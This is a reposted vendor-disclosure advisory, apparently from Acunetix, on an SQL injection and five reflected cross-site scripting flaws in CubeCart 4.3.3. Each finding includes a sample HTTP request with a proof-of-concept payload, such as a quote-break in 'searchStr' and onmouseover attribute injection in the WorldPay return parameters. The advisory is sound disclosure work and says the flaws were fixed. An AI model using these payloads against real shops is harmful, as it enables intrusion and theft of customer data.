cl.9bf.bid index.php,CVE-2010-4903 CubeCart 'index.php' SQL注入漏洞-漏洞情报、漏洞详情、安全漏洞、CVE - 安全客，安全资讯平台...

We are continuing with the list of security vulnerabilities found in a

number of web applications while testing our latest version of Acunetix

WVS v7 . In this blog post, we will look into the details of a number of

security problems discovered by Acunetix WVS in CubeCart.

"CubeCart is a fully featured ecommerce shopping cart solution used by

over a million store owners around the world."

The following web vulnerabilities were found in CubeCart version 4.3.3;

1.SQL injection in ?/cubecart_4/index.php?, parameter ?searchStr?.

2.Cross-site Scripting vulnerability in

?/cubecart_4/modules/gateway/WorldPay/return.php?, parameter ?amount?.

3.Cross-site Scripting vulnerability in

?/cubecart_4/modules/gateway/WorldPay/return.php?, parameter ?cartId?.

4.Cross-site Scripting vulnerability in

?/cubecart_4/modules/gateway/WorldPay/return.php?, parameter ?email?.

5.Cross-site Scripting vulnerability in

?/cubecart_4/modules/gateway/WorldPay/return.php?, parameter ?transId?.

6.Cross-site Scripting vulnerability in

?/cubecart_4/modules/gateway/WorldPay/return.php?, parameter ?transStatus?.

Technical details about each web vulnerability are below:

1. SQL injection in ?/cubecart_4/index.php?, parameter ?searchStr?.

Additional details:

SQL query:

SQL:

SELECT id FROM cube_CubeCart_search WHERE searchstr='''

Sample HTTP Request:

GET /cubecart_4/index.php?_a=viewCat&searchStr='&Submit=Go HTTP/1.1

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect: enabled

Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294;

ccUser=7c970bfe00c50261d25166dbab43c294

Host: webapps7:80

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR

1.1.4322)

2. Cross-site Scripting vulnerability in

?/cubecart_4/modules/gateway/WorldPay/return.php?, parameter ?amount?.

Attack details

URL encoded GET input amount was set to ? οnmοuseοver=prompt(949088) bad=?

The input is reflected inside a tag element between double quotes.

Sample HTTP Request:

GET

/cubecart_4/modules/gateway/WorldPay/return.php?amount=%22%20onmouseover

%3dprompt%28949088%29%20bad%3d%22&cartId=&email=&transId=&transStatus=

HTTP/1.1

Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294;

ccUser=7c970bfe00c50261d25166dbab43c294

Host: webapps7:80

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR

1.1.4322)

3. Cross-site Scripting vulnerability in

?/cubecart_4/modules/gateway/WorldPay/return.php?, parameter ?cartId?

Attack details

URL encoded GET input cartId was set to ? οnmοuseοver=prompt(932890) bad=?

The input is reflected inside a tag element between double quotes.

Sample HTTP Request:

GET

/cubecart_4/modules/gateway/WorldPay/return.php?amount=&cartId=%22%20onm

ouseover%3dprompt%28934178%29%20bad%3d%22&email=&transId=&transStatus=

HTTP/1.1

Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294;

ccUser=7c970bfe00c50261d25166dbab43c294

Host: webapps7:80

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR

1.1.4322)

4. Cross-site Scripting vulnerability in

?/cubecart_4/modules/gateway/WorldPay/return.php?, parameter ?email?.

Attack details

URL encoded GET input email was set to ? οnmοuseοver=prompt(908306) bad=?

The input is reflected inside a tag element between double quotes.

Sample HTTP Request:

GET

/cubecart_4/modules/gateway/WorldPay/return.php?amount=&cartId=&email=%2

2%20onmouseover%3dprompt%28908306%29%20bad%3d%22&transId=&transStatus=

HTTP/1.1

Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294;

ccUser=7c970bfe00c50261d25166dbab43c294

Host: webapps7:80

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR

1.1.4322)

5. Cross-site Scripting vulnerability in

?/cubecart_4/modules/gateway/WorldPay/return.php?, parameter ?transId?.

Attack details

URL encoded GET input transId was set to ? οnmοuseοver=prompt(998313) bad=?

The input is reflected inside a tag element between double quotes.

Sample HTTP Request:

GET

/cubecart_4/modules/gateway/WorldPay/return.php?amount=&cartId=&email=&t

ransId=%22%20onmouseover%3dprompt%28998313%29%20bad%3d%22&transStatus=

HTTP/1.1

Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294;

ccUser=7c970bfe00c50261d25166dbab43c294

Host: webapps7:80

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR

1.1.4322)

6. Cross-site Scripting vulnerability in

?/cubecart_4/modules/gateway/WorldPay/return.php?, parameter ?transStatus?.

Attack details

URL encoded GET input transStatus was set to ?

οnmοuseοver=prompt(923101) bad=?

The input is reflected inside a tag element between double quotes.

Sample HTTP Request:

GET

/cubecart_4/modules/gateway/WorldPay/return.php?amount=&cartId=&email=&t

ransId=&transStatus=%22%20onmouseover%3dprompt%28923101%29%20bad%3d%22

HTTP/1.1

Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294;

ccUser=7c970bfe00c50261d25166dbab43c294

Host: webapps7:80

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR

1.1.4322)

These vulnerabilities were reported to the CubeCart team on 22/7/2010

via the support system on their website and they were fixed in latest

version of CubeCart . If you are using CubeCart, download the latest

version from their website.

--

Bogdan Calin - bogdan [at] acunetix.com

CTO

Acunetix Ltd. - http://www.acunetix.com

Acunetix Web Security Blog - http://www.acunetix.com/blog

Follow us on Twitter - http://www.twitter.com/acunetix